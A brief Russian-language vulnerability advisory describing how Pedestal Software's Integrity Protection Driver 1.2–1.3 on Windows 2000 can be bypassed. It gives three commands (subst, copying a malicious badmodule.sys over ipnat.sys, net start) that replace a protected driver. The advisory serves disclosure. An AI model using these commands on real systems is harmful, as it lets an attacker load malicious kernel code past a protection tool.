Pedestal Software Integrity Protection Driver – драйвер для Windows 2000, который защищает систему от установки новых сервисов и драйверов, а также защищает существующие драйвера. 

Создавая символьную ссылку к каталогу драйверов Windows, нападающий может обойти IPD и перезаписать любой драйвер злонамеренным файлом. Пример: 

$ subst x: c:\winnt\system32\drivers 
$ copy badmodule.sys x:\ipnat.sys 
$ net start ipnat 

Уязвимость обнаружена в Pedestal Software Integrity Protection Driver 1.2-1.3.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

    • Открыть комментарии
    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии